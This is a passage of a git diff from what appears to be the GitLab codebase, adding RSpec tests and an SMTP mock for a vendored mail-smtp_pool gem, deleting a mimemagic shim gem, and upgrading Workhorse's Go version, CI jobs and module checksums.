+ it 'creates an SMTP connection with the correct settings' do
+ settings = { address: 'smtp.example.com', port: '465' }
+
+ smtp_pool = described_class.create_pool(settings)
+
+ expect(Mail::SMTPPool::Connection).to receive(:new).with(settings).once.and_call_original
+
+ smtp_pool.checkout
+ end
+ end
+
+ describe '#initialize' do
+ it 'raises an error if a pool is not specified' do
+ expect { described_class.new({}) }.to raise_error(
+ ArgumentError, 'pool is required. You can create one using Mail::SMTPPool.create_pool.'
+ )
+ end
+ end
+
+ describe '#deliver!' do
+ let(:mail) do
+ Mail.new do
+ from 'mikel@test.lindsaar.net'
+ to 'you@test.lindsaar.net'
+ subject 'This is a test email'
+ body 'Test body'
+ end
+ end
+
+ after do
+ MockSMTP.clear_deliveries
+ end
+
+ it 'delivers mail using a connection from the pool' do
+ connection_pool = double(ConnectionPool)
+ connection = double(Mail::SMTPPool::Connection)
+
+ expect(connection_pool).to receive(:with).and_yield(connection)
+ expect(connection).to receive(:deliver!).with(mail)
+
+ described_class.new(pool: connection_pool).deliver!(mail)
+ end
+
+ it 'delivers mail' do
+ described_class.new(pool: described_class.create_pool).deliver!(mail)
+
+ expect(MockSMTP.deliveries.size).to eq(1)
+ end
+ end
+end
diff --git a/vendor/gems/mail-smtp_pool/spec/spec_helper.rb b/vendor/gems/mail-smtp_pool/spec/spec_helper.rb
new file mode 100644
index 00000000000..4d339850381
--- /dev/null
+++ b/vendor/gems/mail-smtp_pool/spec/spec_helper.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require 'mail/smtp_pool'
+
+# Original mockup from ActionMailer
+# Based on https://github.com/mikel/mail/blob/22a7afc23f253319965bf9228a0a430eec94e06d/spec/spec_helper.rb#L74-L138
+class MockSMTP
+ def self.deliveries
+ @@deliveries
+ end
+
+ def self.security
+ @@security
+ end
+
+ def initialize
+ @@deliveries = []
+ @@security = nil
+ @started = false
+ end
+
+ def sendmail(mail, from, to)
+ @@deliveries << [mail, from, to]
+ 'OK'
+ end
+
+ def rset
+ Net::SMTP::Response.parse('250 OK')
+ end
+
+ def start(*args)
+ @started = true
+
+ if block_given?
+ result = yield(self)
+ @started = false
+
+ return result
+ else
+ return self
+ end
+ end
+
+ def started?
+ @started
+ end
+
+ def finish
+ @started = false
+ return true
+ end
+
+ def self.clear_deliveries
+ @@deliveries = []
+ end
+
+ def self.clear_security
+ @@security = nil
+ end
+
+ def enable_tls(context)
+ raise ArgumentError, "SMTPS and STARTTLS is exclusive" if @@security && @@security != :enable_tls
+ @@security = :enable_tls
+ context
+ end
+
+ def enable_starttls(context = nil)
+ raise ArgumentError, "SMTPS and STARTTLS is exclusive" if @@security == :enable_tls
+ @@security = :enable_starttls
+ context
+ end
+
+ def enable_starttls_auto(context)
+ raise ArgumentError, "SMTPS and STARTTLS is exclusive" if @@security == :enable_tls
+ @@security = :enable_starttls_auto
+ context
+ end
+end
+
+class Net::SMTP
+ def self.new(*args)
+ MockSMTP.new
+ end
+end
diff --git a/vendor/project_templates/gatsby.tar.gz b/vendor/project_templates/gatsby.tar.gz
index a4ae5f99047..52bb056630e 100644
--- a/vendor/project_templates/gatsby.tar.gz
+++ b/vendor/project_templates/gatsby.tar.gz
Binary files differ
diff --git a/vendor/project_templates/learn_gitlab.tar.gz b/vendor/project_templates/learn_gitlab.tar.gz
index 0eca66b064a..2596d9bade0 100644
--- a/vendor/project_templates/learn_gitlab.tar.gz
+++ b/vendor/project_templates/learn_gitlab.tar.gz
Binary files differ
diff --git a/vendor/project_templates/learn_gitlab_ultimate_trial.tar.gz b/vendor/project_templates/learn_gitlab_ultimate_trial.tar.gz
index 2ec47956706..89d69de52dc 100644
--- a/vendor/project_templates/learn_gitlab_ultimate_trial.tar.gz
+++ b/vendor/project_templates/learn_gitlab_ultimate_trial.tar.gz
Binary files differ
diff --git a/vendor/shims/mimemagic/Gemfile b/vendor/shims/mimemagic/Gemfile
deleted file mode 100644
index ef48903d334..00000000000
--- a/vendor/shims/mimemagic/Gemfile
+++ /dev/null
@@ -1,6 +0,0 @@
-source "https://rubygems.org"
-
-# Specify your gem's dependencies in mimemagic.gemspec
-gemspec
-
-gem "rake", "~> 12.0"
diff --git a/vendor/shims/mimemagic/LICENSE.txt b/vendor/shims/mimemagic/LICENSE.txt
deleted file mode 100644
index 568df6132bc..00000000000
--- a/vendor/shims/mimemagic/LICENSE.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-The MIT License (MIT)
-
-Copyright (c) 2021 GitLab B.V.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/shims/mimemagic/README.md b/vendor/shims/mimemagic/README.md
deleted file mode 100644
index 57ef8dc41e1..00000000000
--- a/vendor/shims/mimemagic/README.md
+++ /dev/null
@@ -1 +0,0 @@
-This is a fake gem to prevent mimemagic from being included into GitLab.
diff --git a/vendor/shims/mimemagic/Rakefile b/vendor/shims/mimemagic/Rakefile
deleted file mode 100644
index 43022f711e2..00000000000
--- a/vendor/shims/mimemagic/Rakefile
+++ /dev/null
@@ -1,2 +0,0 @@
-require "bundler/gem_tasks"
-task :default => :spec
diff --git a/vendor/shims/mimemagic/lib/mimemagic.rb b/vendor/shims/mimemagic/lib/mimemagic.rb
deleted file mode 100644
index 1deab5d90a7..00000000000
--- a/vendor/shims/mimemagic/lib/mimemagic.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require "mimemagic/version"
-
-module MimeMagic
- class Error < StandardError; end
- raise Error, 'This gem should never be required'
-end
diff --git a/vendor/shims/mimemagic/lib/mimemagic/version.rb b/vendor/shims/mimemagic/lib/mimemagic/version.rb
deleted file mode 100644
index eab707147e7..00000000000
--- a/vendor/shims/mimemagic/lib/mimemagic/version.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module MimeMagic
- VERSION = "0.3.7"
-end
diff --git a/vendor/shims/mimemagic/mimemagic.gemspec b/vendor/shims/mimemagic/mimemagic.gemspec
deleted file mode 100644
index 86f7f824923..00000000000
--- a/vendor/shims/mimemagic/mimemagic.gemspec
+++ /dev/null
@@ -1,18 +0,0 @@
-require_relative 'lib/mimemagic/version'
-
-Gem::Specification.new do |spec|
- spec.name = "mimemagic"
- spec.version = MimeMagic::VERSION
- spec.authors = ["Marc Shaw"]
- spec.email = ["mshaw@gitlab.com"]
-
- spec.summary = %q{MimeMagic shim}
- spec.description = %q{A shim for mimemagic}
- spec.homepage = "https://gitlab.com/gitlab-org/gitlab/-/tree/master/vendor/shims/mimemagic"
- spec.license = "MIT"
- spec.required_ruby_version = Gem::Requirement.new(">= 2.3.0")
-
- spec.files = %w[lib/mimemagic.rb lib/mimemagic/version.rb]
-
- spec.require_paths = ["lib"]
-end
diff --git a/workhorse/.gitlab-ci.yml b/workhorse/.gitlab-ci.yml
index 69f25fde968..60d51b868b7 100644
--- a/workhorse/.gitlab-ci.yml
+++ b/workhorse/.gitlab-ci.yml
@@ -10,7 +10,7 @@ workflow:
- if: '$CI_COMMIT_BRANCH =~ /^[\d-]+-stable$/'
default:
- image: golang:1.13
+ image: golang:1.16
tags:
- gitlab-org
@@ -41,18 +41,14 @@ changelog:
- apt-get update && apt-get -y install libimage-exiftool-perl
- make test
-test using go 1.13:
- extends: .test
- image: golang:1.13
-
-test using go 1.14:
- extends: .test
- image: golang:1.14
-
test using go 1.15:
extends: .test
image: golang:1.15
+test using go 1.16:
+ extends: .test
+ image: golang:1.16
+
test:release:
rules:
- if: '$CI_COMMIT_TAG'
diff --git a/workhorse/_support/changelog b/workhorse/_support/changelog
index 0e733cc0062..3b9efc21fcc 100755
--- a/workhorse/_support/changelog
+++ b/workhorse/_support/changelog
@@ -52,7 +52,7 @@ class ChangelogOptionParser
options.force = value
end
- opts.on('-m', '--merge-request [integer]', Integer, 'Merge Request ID') do |value|
+ opts.on('-m', '--merge-request [integer]', Integer, 'Merge request ID') do |value|
options.merge_request = value
end
diff --git a/workhorse/doc/operations/install.md b/workhorse/doc/operations/install.md
index 28efc407515..3bee13e2683 100644
--- a/workhorse/doc/operations/install.md
+++ b/workhorse/doc/operations/install.md
@@ -1,6 +1,6 @@
# Installation
-To install GitLab Workhorse you need [Go 1.13 or
+To install GitLab Workhorse you need [Go 1.15 or
newer](https://golang.org/dl) and [GNU
Make](https://www.gnu.org/software/make/).
diff --git a/workhorse/go.mod b/workhorse/go.mod
index ee50ed690aa..e565feef37d 100644
--- a/workhorse/go.mod
+++ b/workhorse/go.mod
@@ -1,6 +1,6 @@
module gitlab.com/gitlab-org/gitlab-workhorse
-go 1.13
+go 1.15
require (
github.com/Azure/azure-storage-blob-go v0.11.1-0.20201209121048-6df5d9af221d
@@ -34,13 +34,12 @@ require (
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8
golang.org/x/lint v0.0.0-20200302205851-738671d3881b
golang.org/x/net v0.0.0-20201224014010-6772e930b67b
- golang.org/x/sys v0.0.0-20210110051926-789bb1bd4061 // indirect
golang.org/x/text v0.3.5 // indirect
- golang.org/x/tools v0.0.0-20201203202102-a1a1cbeaa516
+ golang.org/x/tools v0.1.0
google.golang.org/genproto v0.0.0-20210111234610-22ae2b108f89 // indirect
google.golang.org/grpc v1.34.1
google.golang.org/grpc/examples v0.0.0-20201226181154-53788aa5dcb4 // indirect
- honnef.co/go/tools v0.0.1-2020.1.5
+ honnef.co/go/tools v0.1.3
)
// go get tries to enforce semantic version compatibility via module paths.
diff --git a/workhorse/go.sum b/workhorse/go.sum
index 4796d40638b..260cb9138df 100644
--- a/workhorse/go.sum
+++ b/workhorse/go.sum
@@ -24,16 +24,13 @@ cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNF
cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
-cloud.google.com/go/bigquery v1.8.0 h1:PQcPefKFdaIzjQFbiyOgAqyx8q5djaE7x9Sqe712DPA=
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
-cloud.google.com/go/datastore v1.1.0 h1:/May9ojXjRkPBNVrq+oWLqmWCkr4OU5uRY29bu0mRyQ=
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
cloud.google.com/go/firestore v1.4.0/go.mod h1:NjjGEnxCS3CAKYp+vmALu20QzcqasGodQp48WxJGAYc=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
-cloud.google.com/go/pubsub v1.3.1 h1:ukjixP1wl0LpnZ6LWtZJ0mX5tBmjp1f8Sqer8Z2OMUU=
cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
cloud.google.com/go/pubsub v1.9.0/go.mod h1:G3o6/kJvEMIEAN5urdkaP4be49WQsjNiykBIto9LFtY=
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
@@ -183,7 +180,6 @@ github.com/dgraph-io/badger v1.6.0/go.mod h1:zwt7syl517jmP8s94KqSxTlM6IMsdhYy6ps
github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
-github.com/dimchansky/utfbom v1.1.0 h1:FcM3g+nofKgUteL8dm/UpdRXNC9KmADgTpLKsu0TRo4=
github.com/dimchansky/utfbom v1.1.0/go.mod h1:rO41eb7gLfo8SF1jd9F8HplJm1Fewwi4mQvIirEdv+8=
github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U=
github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
@@ -214,7 +210,6 @@ github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoD
github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
github.com/franela/goblin v0.0.0-20200105215937-c9ffbefa60db/go.mod h1:7dvUGVsVBjqR7JHJk0brhHOZYGmfBYOrK0ZhYMEtBr4=
github.com/franela/goreq v0.0.0-20171204163338-bcd34c9993f8/go.mod h1:ZhphrRTfi2rbfLwlschooIH4+wKKDR4Pdxhh+TRoA20=
-github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
@@ -279,7 +274,6 @@ github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
-github.com/golang/mock v1.4.3 h1:GV+pQPG/EUUbkh47niozDcADz6go/dUwhVzdUQHIVRw=
github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.4 h1:l75CXGRSwbaYNpl/Z2X1XIIAMSCquvXgpVZDhwEIJsc=
github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=
@@ -308,7 +302,6 @@ github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5a
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.4.1 h1:/exdXoGamhu5ONeUJH0deniYLWYvQwW66yvlfiiKTu0=
github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
@@ -340,7 +333,6 @@ github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLe
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/subcommands v1.0.1/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.1.1 h1:Gkbcsh/GbpXz7lPftLA3P6TYMwjCLYm83jiFQZF/3gY=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
@@ -357,7 +349,6 @@ github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51
github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
-github.com/gorilla/websocket v1.4.0 h1:WDFjx/TMzVgy9VdMMQi2K2Emtwi2QcUQsztZ/zLaH/Q=
github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
@@ -446,7 +437,6 @@ github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxv
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
-github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
@@ -705,7 +695,6 @@ go.opencensus.io v0.20.2/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
-go.opencensus.io v0.22.3 h1:8sGtKOrtQqkN1bp2AtX+misvLIlOmsEsNd+9NIcPEm8=
go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.5 h1:dntmOdLpSpHlVqbW5Eay97DelsZHe+55D+xC6i0dDS0=
@@ -731,7 +720,6 @@ golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
@@ -770,7 +758,6 @@ golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.0 h1:8pl+sMODzuvGJkmj2W4kZihvVb5mKm8pB/X44PIQHv8=
golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
@@ -811,7 +798,6 @@ golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/
golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20200625001655-4c5254603344 h1:vGXIOMxbNfDTk/aXCmfdLgkrSV+Z2tcbze+pEc3v5W4=
golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
@@ -819,7 +805,6 @@ golang.org/x/net v0.0.0-20200904194848-62affa334b73/go.mod h1:/O7V0waA8r7cgGh81R
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
-golang.org/x/net v0.0.0-20201202161906-c7110b5ffcbb h1:eBmm0M9fYhWpKZLjQUUKka/LtIxf46G4fxeEz5KJr9U=
golang.org/x/net v0.0.0-20201202161906-c7110b5ffcbb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201224014010-6772e930b67b h1:iFwSg7t5GZmB/Q5TjiEAsdoLDrdJRC1RiF2WhuV29Qw=
golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
@@ -827,7 +812,6 @@ golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAG
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d h1:TzXSXBo42m9gQenoE3b9BGiEpg5IG2JkU5FkPIawgtw=
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
@@ -839,7 +823,6 @@ golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a h1:WXEvlFVvvGxCJLG6REjsT03iWnKLEWinaScsxF2Vm2o=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@@ -896,23 +879,19 @@ golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
